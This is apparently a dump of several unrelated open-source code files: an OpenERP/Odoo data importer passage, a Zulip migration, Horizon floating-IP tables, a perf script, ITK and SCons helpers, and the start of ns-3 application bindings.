def _assert_equals(self, f1, f2, prec=4):
return not round(f1 - f2, prec)
def _tag_assert(self, cr, rec, data_node=None, mode=None):
if self.isnoupdate(data_node) and self.mode != 'init':
return
rec_model = rec.get("model",'').encode('ascii')
model = self.pool[rec_model]
rec_id = rec.get("id",'').encode('ascii')
self._test_xml_id(rec_id)
rec_src = rec.get("search",'').encode('utf8')
rec_src_count = rec.get("count")
rec_string = rec.get("string",'').encode('utf8') or 'unknown'
ids = None
eval_dict = {'ref': _ref(self, cr)}
context = self.get_context(data_node, rec, eval_dict)
uid = self.get_uid(cr, self.uid, data_node, rec)
if rec_id:
ids = [self.id_get(cr, rec_id)]
elif rec_src:
q = unsafe_eval(rec_src, eval_dict)
ids = self.pool[rec_model].search(cr, uid, q, context=context)
if rec_src_count:
count = int(rec_src_count)
if len(ids) != count:
self.assertion_report.record_failure()
msg = 'assertion "%s" failed!\n' \
' Incorrect search count:\n' \
' expected count: %d\n' \
' obtained count: %d\n' \
% (rec_string, count, len(ids))
_logger.error(msg)
return
assert ids is not None,\
'You must give either an id or a search criteria'
ref = _ref(self, cr)
for id in ids:
brrec = model.browse(cr, uid, id, context)
class d(dict):
def __getitem__(self2, key):
if key in brrec:
return brrec[key]
return dict.__getitem__(self2, key)
globals_dict = d()
globals_dict['floatEqual'] = self._assert_equals
globals_dict['ref'] = ref
globals_dict['_ref'] = ref
for test in rec.findall('./test'):
f_expr = test.get("expr",'').encode('utf-8')
expected_value = _eval_xml(self, test, self.pool, cr, uid, self.idref, context=context) or True
expression_value = unsafe_eval(f_expr, globals_dict)
if expression_value != expected_value: # assertion failed
self.assertion_report.record_failure()
msg = 'assertion "%s" failed!\n' \
' xmltag: %s\n' \
' expected value: %r\n' \
' obtained value: %r\n' \
% (rec_string, etree.tostring(test), expected_value, expression_value)
_logger.error(msg)
return
else: # all tests were successful for this assertion tag (no break)
self.assertion_report.record_success()
def _tag_record(self, cr, rec, data_node=None, mode=None):
rec_model = rec.get("model").encode('ascii')
model = self.pool[rec_model]
rec_id = rec.get("id",'').encode('ascii')
rec_context = rec.get("context", None)
if rec_context:
rec_context = unsafe_eval(rec_context)
self._test_xml_id(rec_id)
# in update mode, the record won't be updated if the data node explicitely
# opt-out using @noupdate="1". A second check will be performed in
# ir.model.data#_update() using the record's ir.model.data `noupdate` field.
if self.isnoupdate(data_node) and self.mode != 'init':
# check if the xml record has no id, skip
if not rec_id:
return None
if '.' in rec_id:
module,rec_id2 = rec_id.split('.')
else:
module = self.module
rec_id2 = rec_id
id = self.pool['ir.model.data']._update_dummy(cr, self.uid, rec_model, module, rec_id2)
if id:
# if the resource already exists, don't update it but store
# its database id (can be useful)
self.idref[rec_id] = int(id)
return None
elif not self.nodeattr2bool(rec, 'forcecreate', True):
# if it doesn't exist and we shouldn't create it, skip it
return None
# else create it normally
res = {}
for field in rec.findall('./field'):
#TODO: most of this code is duplicated above (in _eval_xml)...
f_name = field.get("name").encode('utf-8')
f_ref = field.get("ref",'').encode('utf-8')
f_search = field.get("search",'').encode('utf-8')
f_model = field.get("model",'').encode('utf-8')
if not f_model and f_name in model._fields:
f_model = model._fields[f_name].comodel_name
f_use = field.get("use",'').encode('utf-8') or 'id'
f_val = False
if f_search:
q = unsafe_eval(f_search, self.idref)
assert f_model, 'Define an attribute model="..." in your .XML file !'
f_obj = self.pool[f_model]
# browse the objects searched
s = f_obj.browse(cr, self.uid, f_obj.search(cr, self.uid, q))
# column definitions of the "local" object
_fields = self.pool[rec_model]._fields
# if the current field is many2many
if (f_name in _fields) and _fields[f_name].type == 'many2many':
f_val = [(6, 0, map(lambda x: x[f_use], s))]
elif len(s):
# otherwise (we are probably in a many2one field),
# take the first element of the search
f_val = s[0][f_use]
elif f_ref:
if f_name in model._fields and model._fields[f_name].type == 'reference':
val = self.model_id_get(cr, f_ref)
f_val = val[0] + ',' + str(val[1])
else:
f_val = self.id_get(cr, f_ref)
else:
f_val = _eval_xml(self,field, self.pool, cr, self.uid, self.idref)
if f_name in model._fields:
if model._fields[f_name].type == 'integer':
f_val = int(f_val)
res[f_name] = f_val
id = self.pool['ir.model.data']._update(cr, self.uid, rec_model, self.module, res, rec_id or False, not self.isnoupdate(data_node), noupdate=self.isnoupdate(data_node), mode=self.mode, context=rec_context )
if rec_id:
self.idref[rec_id] = int(id)
if config.get('import_partial'):
cr.commit()
return rec_model, id
def _tag_template(self, cr, el, data_node=None, mode=None):
# This helper transforms a <template> element into a <record> and forwards it
tpl_id = el.get('id', el.get('t-name', '')).encode('ascii')
full_tpl_id = tpl_id
if '.' not in full_tpl_id:
full_tpl_id = '%s.%s' % (self.module, tpl_id)
# set the full template name for qweb <module>.<id>
if not el.get('inherit_id'):
el.set('t-name', full_tpl_id)
el.tag = 't'
else:
el.tag = 'data'
el.attrib.pop('id', None)
record_attrs = {
'id': tpl_id,
'model': 'ir.ui.view',
}
for att in ['forcecreate', 'context']:
if att in el.keys():
record_attrs[att] = el.attrib.pop(att)
Field = builder.E.field
name = el.get('name', tpl_id)
record = etree.Element('record', attrib=record_attrs)
record.append(Field(name, name='name'))
record.append(Field("qweb", name='type'))
record.append(Field(el.get('priority', "16"), name='priority'))
if 'inherit_id' in el.attrib:
record.append(Field(name='inherit_id', ref=el.get('inherit_id')))
if el.get('active') in ("True", "False"):
view_id = self.id_get(cr, tpl_id, raise_if_not_found=False)
if mode != "update" or not view_id:
record.append(Field(name='active', eval=el.get('active')))
if el.get('customize_show') in ("True", "False"):
record.append(Field(name='customize_show', eval=el.get('customize_show')))
groups = el.attrib.pop('groups', None)
if groups:
grp_lst = map(lambda x: "ref('%s')" % x, groups.split(','))
record.append(Field(name="groups_id", eval="[(6, 0, ["+', '.join(grp_lst)+"])]"))
if el.attrib.pop('page', None) == 'True':
record.append(Field(name="page", eval="True"))
if el.get('primary') == 'True':
# Pseudo clone mode, we'll set the t-name to the full canonical xmlid
el.append(
builder.E.xpath(
builder.E.attribute(full_tpl_id, name='t-name'),
expr=".",
position="attributes",
)
)
record.append(Field('primary', name='mode'))
# inject complete <template> element (after changing node name) into
# the ``arch`` field
record.append(Field(el, name="arch", type="xml"))
return self._tag_record(cr, record, data_node)
def id_get(self, cr, id_str, raise_if_not_found=True):
if id_str in self.idref:
return self.idref[id_str]
res = self.model_id_get(cr, id_str, raise_if_not_found)
if res and len(res)>1: res = res[1]
return res
def model_id_get(self, cr, id_str, raise_if_not_found=True):
model_data_obj = self.pool['ir.model.data']
mod = self.module
if '.' not in id_str:
id_str = '%s.%s' % (mod, id_str)
return model_data_obj.xmlid_to_res_model_res_id(
cr, self.uid, id_str,
raise_if_not_found=raise_if_not_found)
def parse(self, de, mode=None):
if de.tag != 'openerp':
raise Exception("Mismatch xml format: root tag must be `openerp`.")
for n in de.findall('./data'):
for rec in n:
if rec.tag in self._tags:
try:
self._tags[rec.tag](self.cr, rec, n, mode=mode)
except Exception, e:
self.cr.rollback()
exc_info = sys.exc_info()
raise ParseError, (misc.ustr(e), etree.tostring(rec).rstrip(), rec.getroottree().docinfo.URL, rec.sourceline), exc_info[2]
return True
def __init__(self, cr, module, idref, mode, report=None, noupdate=False):
self.mode = mode
self.module = module
self.cr = cr
self.idref = idref
self.pool = openerp.registry(cr.dbname)
self.uid = 1
if report is None:
report = assertion_report.assertion_report()
self.assertion_report = report
self.noupdate = noupdate
self._tags = {
'record': self._tag_record,
'delete': self._tag_delete,
'function': self._tag_function,
'menuitem': self._tag_menuitem,
'template': self._tag_template,
'workflow': self._tag_workflow,
'report': self._tag_report,
'ir_set': self._tag_ir_set,
'act_window': self._tag_act_window,
'url': self._tag_url,
'assert': self._tag_assert,
}
def convert_file(cr, module, filename, idref, mode='update', noupdate=False, kind=None, report=None, pathname=None):
if pathname is None:
pathname = os.path.join(module, filename)
fp = misc.file_open(pathname)
ext = os.path.splitext(filename)[1].lower()
try:
if ext == '.csv':
convert_csv_import(cr, module, pathname, fp.read(), idref, mode, noupdate)
elif ext == '.sql':
convert_sql_import(cr, fp)
elif ext == '.yml':
convert_yaml_import(cr, module, fp, kind, idref, mode, noupdate, report)
elif ext == '.xml':
convert_xml_import(cr, module, fp, idref, mode, noupdate, report)
elif ext == '.js':
pass # .js files are valid but ignored here.
else:
_logger.warning("Can't load unknown file type %s.", filename)
finally:
fp.close()
def convert_sql_import(cr, fp):
queries = fp.read().split(';')
for query in queries:
new_query = ' '.join(query.split())
if new_query:
cr.execute(new_query)
def convert_csv_import(cr, module, fname, csvcontent, idref=None, mode='init',
noupdate=False):
'''Import csv file :
quote: "
delimiter: ,
encoding: utf-8'''
if not idref:
idref={}
model = ('.'.join(fname.split('.')[:-1]).split('-'))[0]
#remove folder path from model
head, model = os.path.split(model)
input = cStringIO.StringIO(csvcontent) #FIXME
reader = csv.reader(input, quotechar='"', delimiter=',')
fields = reader.next()
fname_partial = ""
if config.get('import_partial'):
fname_partial = module + '/'+ fname
if not os.path.isfile(config.get('import_partial')):
pickle.dump({}, file(config.get('import_partial'),'w+'))
else:
data = pickle.load(file(config.get('import_partial')))
if fname_partial in data:
if not data[fname_partial]:
return
else:
for i in range(data[fname_partial]):
reader.next()
if not (mode == 'init' or 'id' in fields):
_logger.error("Import specification does not contain 'id' and we are in init mode, Cannot continue.")
return
uid = 1
datas = []
for line in reader:
if not (line and any(line)):
continue
try:
datas.append(map(misc.ustr, line))
except:
_logger.error("Cannot import the line: %s", line)
registry = openerp.registry(cr.dbname)
result, rows, warning_msg, dummy = registry[model].import_data(cr, uid, fields, datas,mode, module, noupdate, filename=fname_partial)
if result < 0:
# Report failed import and abort module install
raise Exception(_('Module loading %s failed: file %s could not be processed:\n %s') % (module, fname, warning_msg))
if config.get('import_partial'):
data = pickle.load(file(config.get('import_partial')))
data[fname_partial] = 0
pickle.dump(data, file(config.get('import_partial'),'wb'))
cr.commit()
#
# xml import/export
#
def convert_xml_import(cr, module, xmlfile, idref=None, mode='init', noupdate=False, report=None):
doc = etree.parse(xmlfile)
relaxng = etree.RelaxNG(
etree.parse(os.path.join(config['root_path'],'import_xml.rng' )))
try:
relaxng.assert_(doc)
except Exception:
_logger.error('The XML file does not fit the required schema !')
_logger.error(misc.ustr(relaxng.error_log.last_error))
raise
if idref is None:
idref={}
obj = xml_import(cr, module, idref, mode, report=report, noupdate=noupdate)
obj.parse(doc.getroot(), mode=mode)
return True
# vim:expandtab:smartindent:tabstop=4:softtabstop=4:shiftwidth=4:
| agpl-3.0 |
kou/zulip | zerver/migrations/0081_make_emoji_lowercase.py | 7 | 1303 | # Generated by Django 1.10.5 on 2017-05-02 21:44
import django.core.validators
from django.db import migrations, models
from django.db.backends.postgresql.schema import DatabaseSchemaEditor
from django.db.migrations.state import StateApps
class Migration(migrations.Migration):
dependencies = [
('zerver', '0080_realm_description_length'),
]
def emoji_to_lowercase(apps: StateApps, schema_editor: DatabaseSchemaEditor) -> None:
RealmEmoji = apps.get_model("zerver", "RealmEmoji")
emoji = RealmEmoji.objects.all()
for e in emoji:
# Technically, this could create a conflict, but it's
# exceedingly unlikely. If that happens, the sysadmin can
# manually rename the conflicts with the manage.py shell
# and then rerun the migration/upgrade.
e.name = e.name.lower()
e.save()
operations = [
migrations.RunPython(emoji_to_lowercase, elidable=True),
migrations.AlterField(
model_name='realmemoji',
name='name',
field=models.TextField(validators=[django.core.validators.MinLengthValidator(1), django.core.validators.RegexValidator(message='Invalid characters in emoji name', regex='^[0-9a-z.\\-_]+(?<![.\\-_])$')]),
),
]
| apache-2.0 |
watonyweng/horizon | openstack_dashboard/dashboards/project/access_and_security/floating_ips/tables.py | 56 | 8033 | # Copyright 2012 Nebula, Inc.
# Copyright (c) 2012 X.commerce, a business unit of eBay Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import logging
from django.conf import settings
from django.core.urlresolvers import reverse
from django import shortcuts
from django.utils.http import urlencode
from django.utils.translation import pgettext_lazy
from django.utils.translation import string_concat # noqa
from django.utils.translation import ugettext_lazy as _
from django.utils.translation import ungettext_lazy
from horizon import exceptions
from horizon import messages
from horizon import tables
from openstack_dashboard import api
from openstack_dashboard.usage import quotas
from openstack_dashboard.utils import filters
LOG = logging.getLogger(__name__)
POLICY_CHECK = getattr(settings, "POLICY_CHECK_FUNCTION", lambda p, r: True)
class AllocateIP(tables.LinkAction):
name = "allocate"
verbose_name = _("Allocate IP To Project")
classes = ("ajax-modal",)
icon = "link"
url = "horizon:project:access_and_security:floating_ips:allocate"
def single(self, data_table, request, *args):
return shortcuts.redirect('horizon:project:access_and_security:index')
def allowed(self, request, fip=None):
usages = quotas.tenant_quota_usages(request)
if usages['floating_ips']['available'] <= 0:
if "disabled" not in self.classes:
self.classes = [c for c in self.classes] + ['disabled']
self.verbose_name = string_concat(self.verbose_name, ' ',
_("(Quota exceeded)"))
else:
self.verbose_name = _("Allocate IP To Project")
classes = [c for c in self.classes if c != "disabled"]
self.classes = classes
if api.base.is_service_enabled(request, "network"):
policy = (("network", "create_floatingip"),)
else:
policy = (("compute", "compute_extension:floating_ips"),
("compute", "network:allocate_floating_ip"),)
return POLICY_CHECK(policy, request)
class ReleaseIPs(tables.BatchAction):
name = "release"
classes = ('btn-danger',)
icon = "unlink"
help_text = _("Once a floating IP is released, there is"
" no guarantee the same IP can be allocated again.")
@staticmethod
def action_present(count):
return ungettext_lazy(
u"Release Floating IP",
u"Release Floating IPs",
count
)
@staticmethod
def action_past(count):
return ungettext_lazy(
u"Released Floating IP",
u"Released Floating IPs",
count
)
def allowed(self, request, fip=None):
if api.base.is_service_enabled(request, "network"):
policy = (("network", "delete_floatingip"),)
else:
policy = (("compute", "compute_extension:floating_ips"),
("compute", "network:release_floating_ip"),)
return POLICY_CHECK(policy, request)
def action(self, request, obj_id):
api.network.tenant_floating_ip_release(request, obj_id)
class AssociateIP(tables.LinkAction):
name = "associate"
verbose_name = _("Associate")
url = "horizon:project:access_and_security:floating_ips:associate"
classes = ("ajax-modal",)
icon = "link"
def allowed(self, request, fip):
if api.base.is_service_enabled(request, "network"):
policy = (("network", "update_floatingip"),)
else:
policy = (("compute", "compute_extension:floating_ips"),
("compute", "network:associate_floating_ip"),)
return not fip.port_id and POLICY_CHECK(policy, request)
def get_link_url(self, datum):
base_url = reverse(self.url)
params = urlencode({"ip_id": self.table.get_object_id(datum)})
return "?".join([base_url, params])
class DisassociateIP(tables.Action):
name = "disassociate"
verbose_name = _("Disassociate")
classes = ("btn-disassociate", "btn-danger")
icon = "unlink"
def allowed(self, request, fip):
if api.base.is_service_enabled(request, "network"):
policy = (("network", "update_floatingip"),)
else:
policy = (("compute", "compute_extension:floating_ips"),
("compute", "network:disassociate_floating_ip"),)
return fip.port_id and POLICY_CHECK(policy, request)
def single(self, table, request, obj_id):
try:
fip = table.get_object_by_id(filters.get_int_or_uuid(obj_id))
api.network.floating_ip_disassociate(request, fip.id)
LOG.info('Disassociating Floating IP "%s".' % obj_id)
messages.success(request,
_('Successfully disassociated Floating IP: %s')
% fip.ip)
except Exception:
exceptions.handle(request,
_('Unable to disassociate floating IP.'))
return shortcuts.redirect('horizon:project:access_and_security:index')
def get_instance_info(fip):
if fip.instance_type == 'compute':
return (_("%(instance_name)s %(fixed_ip)s")
% {'instance_name': getattr(fip, "instance_name", ''),
'fixed_ip': fip.fixed_ip})
elif fip.instance_type == 'loadbalancer':
return _("Load Balancer VIP %s") % fip.fixed_ip
elif fip.instance_type:
return fip.fixed_ip
else:
return None
def get_instance_link(datum):
if datum.instance_type == 'compute':
return reverse("horizon:project:instances:detail",
args=(datum.instance_id,))
else:
return None
STATUS_DISPLAY_CHOICES = (
("active", pgettext_lazy("Current status of a Floating IP", u"Active")),
("down", pgettext_lazy("Current status of a Floating IP", u"Down")),
("error", pgettext_lazy("Current status of a Floating IP", u"Error")),
)
class FloatingIPsTable(tables.DataTable):
STATUS_CHOICES = (
("active", True),
("down", True),
("error", False)
)
ip = tables.Column("ip",
verbose_name=_("IP Address"),
attrs={'data-type': "ip"})
fixed_ip = tables.Column(get_instance_info,
link=get_instance_link,
verbose_name=_("Mapped Fixed IP Address"))
pool = tables.Column("pool_name",
verbose_name=_("Pool"))
status = tables.Column("status",
verbose_name=_("Status"),
status=True,
status_choices=STATUS_CHOICES,
display_choices=STATUS_DISPLAY_CHOICES)
def __init__(self, request, data=None, needs_form_wrapper=None, **kwargs):
super(FloatingIPsTable, self).__init__(
request, data=data, needs_form_wrapper=needs_form_wrapper,
**kwargs)
if not api.base.is_service_enabled(request, 'network'):
del self.columns['status']
def sanitize_id(self, obj_id):
return filters.get_int_or_uuid(obj_id)
def get_object_display(self, datum):
return datum.ip
class Meta(object):
name = "floating_ips"
verbose_name = _("Floating IPs")
table_actions = (AllocateIP, ReleaseIPs)
row_actions = (AssociateIP, DisassociateIP, ReleaseIPs)
| apache-2.0 |
GiulianoFranchetto/linux-at91 | tools/perf/scripts/python/syscall-counts-by-pid.py | 1996 | 2105 | # system call counts, by pid
# (c) 2010, Tom Zanussi <tzanussi@gmail.com>
# Licensed under the terms of the GNU GPL License version 2
#
# Displays system-wide system call totals, broken down by syscall.
# If a [comm] arg is specified, only syscalls called by [comm] are displayed.
import os, sys
sys.path.append(os.environ['PERF_EXEC_PATH'] + \
'/scripts/python/Perf-Trace-Util/lib/Perf/Trace')
from perf_trace_context import *
from Core import *
from Util import syscall_name
usage = "perf script -s syscall-counts-by-pid.py [comm]\n";
for_comm = None
for_pid = None
if len(sys.argv) > 2:
sys.exit(usage)
if len(sys.argv) > 1:
try:
for_pid = int(sys.argv[1])
except:
for_comm = sys.argv[1]
syscalls = autodict()
def trace_begin():
print "Press control+C to stop and show the summary"
def trace_end():
print_syscall_totals()
def raw_syscalls__sys_enter(event_name, context, common_cpu,
common_secs, common_nsecs, common_pid, common_comm,
common_callchain, id, args):
if (for_comm and common_comm != for_comm) or \
(for_pid and common_pid != for_pid ):
return
try:
syscalls[common_comm][common_pid][id] += 1
except TypeError:
syscalls[common_comm][common_pid][id] = 1
def syscalls__sys_enter(event_name, context, common_cpu,
common_secs, common_nsecs, common_pid, common_comm,
id, args):
raw_syscalls__sys_enter(**locals())
def print_syscall_totals():
if for_comm is not None:
print "\nsyscall events for %s:\n\n" % (for_comm),
else:
print "\nsyscall events by comm/pid:\n\n",
print "%-40s %10s\n" % ("comm [pid]/syscalls", "count"),
print "%-40s %10s\n" % ("----------------------------------------", \
"----------"),
comm_keys = syscalls.keys()
for comm in comm_keys:
pid_keys = syscalls[comm].keys()
for pid in pid_keys:
print "\n%s [%d]\n" % (comm, pid),
id_keys = syscalls[comm][pid].keys()
for id, val in sorted(syscalls[comm][pid].iteritems(), \
key = lambda(k, v): (v, k), reverse = True):
print " %-38s %10d\n" % (syscall_name(id), val),
| gpl-2.0 |
xuegang/gpdb | src/test/tinc/tincmmgr/config.py | 9 | 1126 | """
Copyright (C) 2004-2015 Pivotal Software, Inc. All rights reserved.
This program and the accompanying materials are made available under
the terms of the under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
"""
class TINCMMLogConfig(object):
"""
Encapsulates a log config that will be used when a logfile is used
as input for tincmmgr
"""
def __init__(self):
self.bucket_distribution = [10,40,50]
self.bucket_queries = [["insert tags=smoke"],
["insert tags=sanity"],
["insert tags=complete"]
]
tincmm_log_config = TINCMMLogConfig()
| apache-2.0 |
rhgong/itk-with-dom | Wrapping/Generators/Doc/itk_doxy2swig.py | 13 | 4555 | #!/usr/bin/env python
"""Doxygen XML to SWIG docstring converter for ITK classes.
Usage:
itk_doxy2swig.py [input directory name] [output swing interface file name]
"""
# silently import psyco
try:
import psyco
psyco.full()
except ImportError:
pass
import sys
import os
import glob
from doxy2swig import *
from cStringIO import StringIO
class itkDoxy2SWIG(Doxy2SWIG):
def __init__(self, src, cpp_name="", swig_name=""):
Doxy2SWIG.__init__(self, src)
self.cpp_name = cpp_name
self.swig_name = swig_name
def write_to_file(self, file):
if self.multi:
file.write("".join(self.pieces))
else:
file.write("".join(self.clean_pieces(self.pieces)))
def cpp_to_swig_name(self, cpp_name):
if self.cpp_name == cpp_name:
return self.swig_name
return cpp_name
def do_compoundname(self, node):
self.add_text('\n\n')
data = self.cpp_to_swig_name(node.firstChild.data)
# print "=================", data
self.add_text('%%feature("docstring") %s "\n'%data)
def do_memberdef(self, node):
prot = node.attributes['prot'].value
id = node.attributes['id'].value
kind = node.attributes['kind'].value
tmp = node.parentNode.parentNode.parentNode
compdef = tmp.getElementsByTagName('compounddef')[0]
cdef_kind = compdef.attributes['kind'].value
if prot == 'public':
first = self.get_specific_nodes(node, ('definition', 'name'))
name = first['name'].firstChild.data
if name[:8] == 'operator': # Don't handle operators yet.
return
# store self.pieces to be able to restore it if the docstring is empty.
pieces_backup = list(self.pieces)
defn = first['definition'].firstChild.data
self.add_text('\n')
self.add_text('%feature("docstring") ')
anc = node.parentNode.parentNode
if cdef_kind in ('file', 'namespace'):
ns_node = anc.getElementsByTagName('innernamespace')
if not ns_node and cdef_kind == 'namespace':
ns_node = anc.getElementsByTagName('compoundname')
if ns_node:
ns = ns_node[0].firstChild.data
self.add_text(' %s::%s "\n%s'%(ns, name, defn))
else:
self.add_text(' %s "\n%s'%(name, defn))
elif cdef_kind in ('class', 'struct'):
# Get the full function name.
anc_node = anc.getElementsByTagName('compoundname')
cname = self.cpp_to_swig_name(anc_node[0].firstChild.data)
# self.add_text(' %s::%s "\n%s'%(cname, name, defn))
self.add_text(' %s::%s "'%(cname, name))
# print "***", name, defn
# make sure that the docstring won't be empty before writing any text
current_length = len(self.pieces)
for n in node.childNodes:
# if n not in first.values():
if n not in first.values() and (n.__class__.__name__ != "Element" or "description" in n.tagName):
self.parse(n)
# make sure that the docstring won't be empty before writing any text
if current_length == len(self.pieces):
# restore the old self.pieces
self.pieces = pieces_backup
else:
self.add_text(['";', '\n'])
def d2s_dir(in_dir_name, out_swig_i):
conffile = file(in_dir_name)
output = StringIO()
for l in conffile:
l = l.strip()
if l != "":
ls = l.split("\t")
xfn = ls[0]
if os.path.isfile(xfn): # make sure the assumed file exists
cpp_name = ls[1]
# print("-- Doxygen to SWIG: " + cpp_name)
output2 = StringIO()
d2s = itkDoxy2SWIG(xfn, cpp_name, "@[{(]})@")
d2s.generate()
d2s.write_to_file(output2)
tpl = output2.getvalue()
output2.close()
for swig_name in ls[2:]:
output.write(tpl.replace("@[{(]})@", swig_name))
else:
print >> sys.stderr, "Warning: %s does not exist. Ignore it." % xfn
f = open(out_swig_i, 'w')
f.write(output.getvalue())
f.close()
def main(in_dir_name, out_swig_i):
d2s_dir(in_dir_name, out_swig_i)
if __name__ == '__main__':
if len(sys.argv) != 3:
print __doc__
sys.exit(1)
main(sys.argv[1], sys.argv[2])
| apache-2.0 |
lucciano/bigcouch | couchjs/scons/scons-local-2.0.1/SCons/Tool/MSCommon/netframework.py | 61 | 2807 | #
# Copyright (c) 2001, 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009, 2010 The SCons Foundation
#
# Permission is hereby granted, free of charge, to any person obtaining
# a copy of this software and associated documentation files (the
# "Software"), to deal in the Software without restriction, including
# without limitation the rights to use, copy, modify, merge, publish,
# distribute, sublicense, and/or sell copies of the Software, and to
# permit persons to whom the Software is furnished to do so, subject to
# the following conditions:
#
# The above copyright notice and this permission notice shall be included
# in all copies or substantial portions of the Software.
#
# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY
# KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
# WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
__revision__ = "src/engine/SCons/Tool/MSCommon/netframework.py 5134 2010/08/16 23:02:40 bdeegan"
__doc__ = """
"""
import os
import re
from common import read_reg, debug
# Original value recorded by dcournapeau
_FRAMEWORKDIR_HKEY_ROOT = r'Software\Microsoft\.NETFramework\InstallRoot'
# On SGK's system
_FRAMEWORKDIR_HKEY_ROOT = r'Software\Microsoft\Microsoft SDKs\.NETFramework\v2.0\InstallationFolder'
def find_framework_root():
# XXX: find it from environment (FrameworkDir)
try:
froot = read_reg(_FRAMEWORKDIR_HKEY_ROOT)
debug("Found framework install root in registry: %s" % froot)
except WindowsError, e:
debug("Could not read reg key %s" % _FRAMEWORKDIR_HKEY_ROOT)
return None
if not os.path.exists(froot):
debug("%s not found on fs" % froot)
return None
return froot
def query_versions():
froot = find_framework_root()
if froot:
contents = os.listdir(froot)
l = re.compile('v[0-9]+.*')
versions = [e for e in contents if l.match(e)]
def versrt(a,b):
# since version numbers aren't really floats...
aa = a[1:]
bb = b[1:]
aal = aa.split('.')
bbl = bb.split('.')
# sequence comparison in python is lexicographical
# which is exactly what we want.
# Note we sort backwards so the highest version is first.
return cmp(bbl,aal)
versions.sort(versrt)
else:
versions = []
return versions
# Local Variables:
# tab-width:4
# indent-tabs-mode:nil
# End:
# vim: set expandtab tabstop=4 shiftwidth=4:
| apache-2.0 |
chandranaik/Aligning-of-PIE-with-rfc8033-in-ns3 | src/applications/bindings/modulegen__gcc_LP64.py | 33 | 727477 | from pybindgen import Module, FileCodeSink, param, retval, cppclass, typehandlers
import pybindgen.settings
import warnings
class ErrorHandler(pybindgen.settings.ErrorHandler):
def handle_error(self, wrapper, exception, traceback_):
warnings.warn("exception %r in wrapper %s" % (exception, wrapper))
return True
pybindgen.settings.error_handler = ErrorHandler()
import sys
def module_init():
root_module = Module('ns.applications', cpp_namespace='::ns3')
return root_module
def register_types(module):
root_module = module.get_root()
## packetbb.h (module 'network'): ns3::PbbAddressLength [enumeration]
module.add_enum('PbbAddressLength', ['IPV4', 'IPV6'], import_from_module='ns.network')
## log.h (module 'core'): ns3::LogLevel [enumeration]
module.add_enum('LogLevel', ['LOG_NONE', 'LOG_ERROR', 'LOG_LEVEL_ERROR', 'LOG_WARN', 'LOG_LEVEL_WARN', 'LOG_DEBUG', 'LOG_LEVEL_DEBUG', 'LOG_INFO', 'LOG_LEVEL_INFO', 'LOG_FUNCTION', 'LOG_LEVEL_FUNCTION', 'LOG_LOGIC', 'LOG_LEVEL_LOGIC', 'LOG_ALL', 'LOG_LEVEL_ALL', 'LOG_PREFIX_FUNC', 'LOG_PREFIX_TIME', 'LOG_PREFIX_NODE', 'LOG_PREFIX_LEVEL', 'LOG_PREFIX_ALL'], import_from_module='ns.core')
## ethernet-header.h (module 'network'): ns3::ethernet_header_t [enumeration]
module.add_enum('ethernet_header_t', ['LENGTH', 'VLAN', 'QINQ'], import_from_module='ns.network')
## address.h (module 'network'): ns3::Address [class]
module.add_class('Address', import_from_module='ns.network')
## address.h (module 'network'): ns3::Address::MaxSize_e [enumeration]
module.add_enum('MaxSize_e', ['MAX_SIZE'], outer_class=root_module['ns3::Address'], import_from_module='ns.network')
## application-container.h (module 'network'): ns3::ApplicationContainer [class]
module.add_class('ApplicationContainer', import_from_module='ns.network')
## ascii-file.h (module 'network'): ns3::AsciiFile [class]
module.add_class('AsciiFile', import_from_module='ns.network')
## trace-helper.h (module 'network'): ns3::AsciiTraceHelper [class]
module.add_class('AsciiTraceHelper', import_from_module='ns.network')
## trace-helper.h (module 'network'): ns3::AsciiTraceHelperForDevice [class]
module.add_class('AsciiTraceHelperForDevice', allow_subclassing=True, import_from_module='ns.network')
## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList [class]
module.add_class('AttributeConstructionList', import_from_module='ns.core')
## attribute-construction-list.h (module 'core'): ns3::AttributeConstructionList::Item [struct]
module.add_class('Item', import_from_module='ns.core', outer_class=root_module['ns3::AttributeConstructionList'])
## buffer.h (module 'network'): ns3::Buffer [class]
module.add_class('Buffer', import_from_module='ns.network')
## buffer.h (module 'network'): ns3::Buffer::Iterator [class]
module.add_class('Iterator', import_from_module='ns.network', outer_class=root_module['ns3::Buffer'])
## bulk-send-helper.h (module 'applications'): ns3::BulkSendHelper [class]
module.add_class('BulkSendHelper')
## packet.h (module 'network'): ns3::ByteTagIterator [class]
module.add_class('ByteTagIterator', import_from_module='ns.network')
## packet.h (module 'network'): ns3::ByteTagIterator::Item [class]
module.add_class('Item', import_from_module='ns.network', outer_class=root_module['ns3::ByteTagIterator'])
## byte-tag-list.h (module 'network'): ns3::ByteTagList [class]
module.add_class('ByteTagList', import_from_module='ns.network')
## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator [class]
module.add_class('Iterator', import_from_module='ns.network', outer_class=root_module['ns3::ByteTagList'])
## byte-tag-list.h (module 'network'): ns3::ByteTagList::Iterator::Item [struct]
module.add_class('Item', import_from_module='ns.network', outer_class=root_module['ns3::ByteTagList::Iterator'])
## callback.h (module 'core'): ns3::CallbackBase [class]
module.add_class('CallbackBase', import_from_module='ns.core')
## channel-list.h (module 'network'): ns3::ChannelList [class]
